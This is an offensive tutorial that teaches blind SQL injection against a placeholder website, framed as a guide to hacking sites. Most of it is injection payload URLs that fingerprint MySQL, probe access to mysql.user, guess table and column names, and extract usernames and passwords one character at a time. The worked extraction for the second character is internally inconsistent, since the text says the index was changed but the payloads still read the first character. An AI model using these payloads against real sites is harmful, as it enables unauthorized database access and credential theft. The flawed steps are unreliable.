Blind SQLi Tutorial


Blind SQLi Tutorial



  • What is Blind SQLi 


    Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established


    Blind SQLi Tutorial 




    Let’s Start…………                



    Suppose That You want to Hack This website with Blind SQLi

    http://site.com/index.php?id=5

    when we execute this, we see some page and articles on that page, pictures
    etc…

    then when we want to test it for blind sql injection attack

    http://www.site.com/index.php?id=5 and 1=1 <--- this is always true
    and the page loads normally, that's ok.
    now the real test

    http://www.site.com/index.php?id=5 and 1=2 <--- this is false
    so if some text, picture or some content is missing on returned page then
    that site is vulrnable to blind sql injection.

    1) Get the MySQL version
    to get the version in blind attack we use substring
    i.e
    http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4
    this should return TRUE if the version of MySQL is 4.
    replace 4 with 5, and if query return TRUE then the version is 5.
    i.e
    http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5
    2) Test if subselect works
    when select don't work then we use subselect
    i.e
    http://www.site.com/index.php?id=5 and (select 1)=1
    if page loads normally then subselects work. then we gonna see if we have access to mysql.user
    i.e
    http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1
    if page loads normally we have access to mysql.user and then later we can
    pull some password usign load_file() function and OUTFILE.
    3). Check table and column names
    This is part when guessing is the best friend :) i.e.
    http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1
    (with limit 0,1 our query here returns 1 row of data, cause subselect
    returns only 1 row, this is very important.)
    then if the page loads normally without content missing, the table users
    exits.
    if you get FALSE (some article missing), just change table name until you
    guess the right one :)
    let's say that we have found that table name is users, now what we need is
    column name.
    the same as table name, we start guessing. Like i said before try the
    common names for columns.
    i.e
    http://www.site.com/index.php?id=5 and (select substring(concat(1,
    password),1,1) from users limit 0,1)=1
    if the page loads normally we know that column name is password (if we get
    false then try common names or just guess)
    here we merge 1 with the column password, then substring returns the first
    character (,1,1)
    4). Pull data from database
    we found table users i columns username password so we gonna pull
    characters from that.
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>80
    ok this here pulls the first character from first user in table users.
    substring here returns first character and 1 character in length. ascii()
    converts that 1 character into ascii value
    and then compare it with simbol greater then > .
    so if the ascii char greater then 80, the page loads normally. (TRUE)
    we keep trying until we get false.
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>95
    we get TRUE, keep incrementing
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>98
    TRUE again, higher
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>99
    FALSE!!!
    so the first character in username is char(99). Using the ascii converter
    we know that char(99) is letter 'c'.
    then let's check the second character.
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),2,1))>99
    Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it
    returns the second character, 1 character in lenght)
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>99
    TRUE, the page loads normally, higher.
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>107
    FALSE, lower number.
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>104
    TRUE, higher.
    http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
    (username,0x3a,password) from users limit 0,1),1,1))>105
    FALSE!!!
    we know that the second character is char(105) and that is 'i'. We have
    'ci' so far
    so keep incrementing until you get the end. (when >0 returns false we know
    that we have reach the end).
    There are some tools for Blind SQL Injection, i think sqlmap is the best,
    but i'm doing everything manually,
    cause that makes you better SQL INJECTOR :D
    Hope you learned something from this Tutorial.
    Have FUN! :)

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